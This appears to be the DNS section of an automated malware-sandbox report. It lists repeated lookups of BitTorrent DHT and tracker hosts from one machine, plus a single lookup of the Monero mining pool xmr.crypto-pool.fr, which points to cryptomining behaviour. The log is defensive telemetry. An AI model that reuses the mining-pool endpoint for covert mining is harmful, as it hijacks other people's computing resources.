Aug 23, 2023 09:17:55.924463987 CEST	8.8.8.8	192.168.2.3	0xf9d9	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.515172958 CEST	8.8.8.8	192.168.2.3	0x3578	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.515172958 CEST	8.8.8.8	192.168.2.3	0x3578	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.546667099 CEST	8.8.8.8	192.168.2.3	0x1b44	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.546667099 CEST	8.8.8.8	192.168.2.3	0x1b44	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.563904047 CEST	8.8.8.8	192.168.2.3	0x3d71	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.589479923 CEST	8.8.8.8	192.168.2.3	0xa9b2	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.619298935 CEST	8.8.8.8	192.168.2.3	0x5c65	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.650500059 CEST	8.8.8.8	192.168.2.3	0x1e11	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.668446064 CEST	8.8.8.8	192.168.2.3	0xff05	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:57.668446064 CEST	8.8.8.8	192.168.2.3	0xff05	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:57.685739994 CEST	8.8.8.8	192.168.2.3	0x356e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:57.685739994 CEST	8.8.8.8	192.168.2.3	0x356e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.547549009 CEST	8.8.8.8	192.168.2.3	0xc8ae	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.547549009 CEST	8.8.8.8	192.168.2.3	0xc8ae	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.566576958 CEST	8.8.8.8	192.168.2.3	0xfb5a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.566576958 CEST	8.8.8.8	192.168.2.3	0xfb5a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.585792065 CEST	8.8.8.8	192.168.2.3	0x2c19	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.608181000 CEST	8.8.8.8	192.168.2.3	0x930c	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.640500069 CEST	8.8.8.8	192.168.2.3	0x8064	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.707539082 CEST	8.8.8.8	192.168.2.3	0x64a0	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.734390020 CEST	8.8.8.8	192.168.2.3	0x61f8	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:58.734390020 CEST	8.8.8.8	192.168.2.3	0x61f8	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:17:58.771007061 CEST	8.8.8.8	192.168.2.3	0x46eb	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:17:58.771007061 CEST	8.8.8.8	192.168.2.3	0x46eb	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.491372108 CEST	8.8.8.8	192.168.2.3	0x4f49	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.491372108 CEST	8.8.8.8	192.168.2.3	0x4f49	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.510037899 CEST	8.8.8.8	192.168.2.3	0x2c5a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.510037899 CEST	8.8.8.8	192.168.2.3	0x2c5a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.543662071 CEST	8.8.8.8	192.168.2.3	0xc3e3	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.566502094 CEST	8.8.8.8	192.168.2.3	0x6ff5	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.592784882 CEST	8.8.8.8	192.168.2.3	0x5ba7	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.616206884 CEST	8.8.8.8	192.168.2.3	0x4273	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.637343884 CEST	8.8.8.8	192.168.2.3	0x468f	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:03.637343884 CEST	8.8.8.8	192.168.2.3	0x468f	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:03.667821884 CEST	8.8.8.8	192.168.2.3	0x3596	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:03.667821884 CEST	8.8.8.8	192.168.2.3	0x3596	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.364351988 CEST	8.8.8.8	192.168.2.3	0x2cde	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.364351988 CEST	8.8.8.8	192.168.2.3	0x2cde	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.390377045 CEST	8.8.8.8	192.168.2.3	0xf41a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.390377045 CEST	8.8.8.8	192.168.2.3	0xf41a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.407934904 CEST	8.8.8.8	192.168.2.3	0xd1db	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.425148964 CEST	8.8.8.8	192.168.2.3	0x4165	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.453685045 CEST	8.8.8.8	192.168.2.3	0x850d	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.486361980 CEST	8.8.8.8	192.168.2.3	0xf0b0	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.507813931 CEST	8.8.8.8	192.168.2.3	0x9fcc	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:04.507813931 CEST	8.8.8.8	192.168.2.3	0x9fcc	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.534817934 CEST	8.8.8.8	192.168.2.3	0x68fc	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:04.534817934 CEST	8.8.8.8	192.168.2.3	0x68fc	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:04.862301111 CEST	8.8.8.8	192.168.2.3	0xafa7	No error (0)	xmr.crypto-pool.fr		141.95.206.77	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.411578894 CEST	8.8.8.8	192.168.2.3	0x96d0	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.411578894 CEST	8.8.8.8	192.168.2.3	0x96d0	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.440726042 CEST	8.8.8.8	192.168.2.3	0x611f	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.440726042 CEST	8.8.8.8	192.168.2.3	0x611f	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.475596905 CEST	8.8.8.8	192.168.2.3	0x60d3	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.495564938 CEST	8.8.8.8	192.168.2.3	0x5923	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.535656929 CEST	8.8.8.8	192.168.2.3	0x2947	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.571629047 CEST	8.8.8.8	192.168.2.3	0xc614	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.601093054 CEST	8.8.8.8	192.168.2.3	0x9d43	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:09.601093054 CEST	8.8.8.8	192.168.2.3	0x9d43	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:09.639393091 CEST	8.8.8.8	192.168.2.3	0xd209	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:09.639393091 CEST	8.8.8.8	192.168.2.3	0xd209	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.427578926 CEST	8.8.8.8	192.168.2.3	0x13ba	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.427578926 CEST	8.8.8.8	192.168.2.3	0x13ba	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.455476999 CEST	8.8.8.8	192.168.2.3	0x21f3	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.455476999 CEST	8.8.8.8	192.168.2.3	0x21f3	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.481323957 CEST	8.8.8.8	192.168.2.3	0x8fac	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.500691891 CEST	8.8.8.8	192.168.2.3	0x3ada	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.526880980 CEST	8.8.8.8	192.168.2.3	0x7300	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.545701981 CEST	8.8.8.8	192.168.2.3	0xd08d	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.575937033 CEST	8.8.8.8	192.168.2.3	0xdf9e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:10.575937033 CEST	8.8.8.8	192.168.2.3	0xdf9e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:10.627644062 CEST	8.8.8.8	192.168.2.3	0x9876	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:10.627644062 CEST	8.8.8.8	192.168.2.3	0x9876	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.253025055 CEST	8.8.8.8	192.168.2.3	0xbc00	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.253025055 CEST	8.8.8.8	192.168.2.3	0xbc00	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.282394886 CEST	8.8.8.8	192.168.2.3	0x38e9	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.282394886 CEST	8.8.8.8	192.168.2.3	0x38e9	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.311608076 CEST	8.8.8.8	192.168.2.3	0xc476	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.349340916 CEST	8.8.8.8	192.168.2.3	0xaa73	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.373234034 CEST	8.8.8.8	192.168.2.3	0xe6c0	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.390726089 CEST	8.8.8.8	192.168.2.3	0x1b4	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.417150021 CEST	8.8.8.8	192.168.2.3	0x77a2	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:12.417150021 CEST	8.8.8.8	192.168.2.3	0x77a2	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:12.435116053 CEST	8.8.8.8	192.168.2.3	0xcb8b	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:12.435116053 CEST	8.8.8.8	192.168.2.3	0xcb8b	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.770591974 CEST	8.8.8.8	192.168.2.3	0x7ae9	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.770591974 CEST	8.8.8.8	192.168.2.3	0x7ae9	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.798057079 CEST	8.8.8.8	192.168.2.3	0x9c0e	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.798057079 CEST	8.8.8.8	192.168.2.3	0x9c0e	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.825016975 CEST	8.8.8.8	192.168.2.3	0x9fad	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.843710899 CEST	8.8.8.8	192.168.2.3	0xbca7	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.871942043 CEST	8.8.8.8	192.168.2.3	0x8d91	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.889775991 CEST	8.8.8.8	192.168.2.3	0x309	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.907265902 CEST	8.8.8.8	192.168.2.3	0xdaf8	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:14.907265902 CEST	8.8.8.8	192.168.2.3	0xdaf8	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:14.933491945 CEST	8.8.8.8	192.168.2.3	0xa4b2	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:14.933491945 CEST	8.8.8.8	192.168.2.3	0xa4b2	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.407560110 CEST	8.8.8.8	192.168.2.3	0x5974	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.407560110 CEST	8.8.8.8	192.168.2.3	0x5974	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.435704947 CEST	8.8.8.8	192.168.2.3	0xb836	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.435704947 CEST	8.8.8.8	192.168.2.3	0xb836	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.463579893 CEST	8.8.8.8	192.168.2.3	0xa520	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.481359959 CEST	8.8.8.8	192.168.2.3	0x96e4	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.523822069 CEST	8.8.8.8	192.168.2.3	0xcdff	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.551743031 CEST	8.8.8.8	192.168.2.3	0xe5e9	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.579423904 CEST	8.8.8.8	192.168.2.3	0xa7a7	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:16.579423904 CEST	8.8.8.8	192.168.2.3	0xa7a7	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:16.607182026 CEST	8.8.8.8	192.168.2.3	0xa78b	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:16.607182026 CEST	8.8.8.8	192.168.2.3	0xa78b	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.180885077 CEST	8.8.8.8	192.168.2.3	0x4a5e	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.180885077 CEST	8.8.8.8	192.168.2.3	0x4a5e	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.198618889 CEST	8.8.8.8	192.168.2.3	0x9d9f	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.198618889 CEST	8.8.8.8	192.168.2.3	0x9d9f	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.225348949 CEST	8.8.8.8	192.168.2.3	0x9f02	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.268949032 CEST	8.8.8.8	192.168.2.3	0x10d6	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.302388906 CEST	8.8.8.8	192.168.2.3	0xae8e	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.328773975 CEST	8.8.8.8	192.168.2.3	0x23fa	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.351037979 CEST	8.8.8.8	192.168.2.3	0x64ed	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:18.351037979 CEST	8.8.8.8	192.168.2.3	0x64ed	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:18.367063046 CEST	8.8.8.8	192.168.2.3	0x2f68	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:18.367063046 CEST	8.8.8.8	192.168.2.3	0x2f68	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:19.911392927 CEST	8.8.8.8	192.168.2.3	0xca0a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:19.911392927 CEST	8.8.8.8	192.168.2.3	0xca0a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:19.936372995 CEST	8.8.8.8	192.168.2.3	0x64f4	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:19.936372995 CEST	8.8.8.8	192.168.2.3	0x64f4	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:19.954622984 CEST	8.8.8.8	192.168.2.3	0x6262	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:19.980909109 CEST	8.8.8.8	192.168.2.3	0xe337	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:20.018428087 CEST	8.8.8.8	192.168.2.3	0x3fbc	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:20.043220997 CEST	8.8.8.8	192.168.2.3	0x9fd6	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:20.065752983 CEST	8.8.8.8	192.168.2.3	0x53e4	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:20.065752983 CEST	8.8.8.8	192.168.2.3	0x53e4	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:20.081873894 CEST	8.8.8.8	192.168.2.3	0xd4c0	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:20.081873894 CEST	8.8.8.8	192.168.2.3	0xd4c0	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.205782890 CEST	8.8.8.8	192.168.2.3	0xa563	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.205782890 CEST	8.8.8.8	192.168.2.3	0xa563	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.222372055 CEST	8.8.8.8	192.168.2.3	0xa927	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.222372055 CEST	8.8.8.8	192.168.2.3	0xa927	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.253283024 CEST	8.8.8.8	192.168.2.3	0x7fb3	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.269457102 CEST	8.8.8.8	192.168.2.3	0xa529	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.299781084 CEST	8.8.8.8	192.168.2.3	0x8128	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.316149950 CEST	8.8.8.8	192.168.2.3	0x7e7f	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.341202974 CEST	8.8.8.8	192.168.2.3	0x4c35	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:23.341202974 CEST	8.8.8.8	192.168.2.3	0x4c35	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:23.366113901 CEST	8.8.8.8	192.168.2.3	0x5b45	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:23.366113901 CEST	8.8.8.8	192.168.2.3	0x5b45	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.871052027 CEST	8.8.8.8	192.168.2.3	0xaafb	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.871052027 CEST	8.8.8.8	192.168.2.3	0xaafb	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.895273924 CEST	8.8.8.8	192.168.2.3	0xf432	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.895273924 CEST	8.8.8.8	192.168.2.3	0xf432	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.920944929 CEST	8.8.8.8	192.168.2.3	0xede9	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.954720020 CEST	8.8.8.8	192.168.2.3	0xe65c	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.973071098 CEST	8.8.8.8	192.168.2.3	0x88b2	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:24.998359919 CEST	8.8.8.8	192.168.2.3	0xf9fc	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.025418997 CEST	8.8.8.8	192.168.2.3	0x1ca4	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:25.025418997 CEST	8.8.8.8	192.168.2.3	0x1ca4	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.050481081 CEST	8.8.8.8	192.168.2.3	0xc5a5	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:18:25.050481081 CEST	8.8.8.8	192.168.2.3	0xc5a5	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.848388910 CEST	8.8.8.8	192.168.2.3	0x30ef	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.848388910 CEST	8.8.8.8	192.168.2.3	0x30ef	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.873018026 CEST	8.8.8.8	192.168.2.3	0x73e1	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.873018026 CEST	8.8.8.8	192.168.2.3	0x73e1	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.890202999 CEST	8.8.8.8	192.168.2.3	0x6e0c	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.919047117 CEST	8.8.8.8	192.168.2.3	0x86a	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:25.949407101 CEST	8.8.8.8	192.168.2.3	0x3202	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
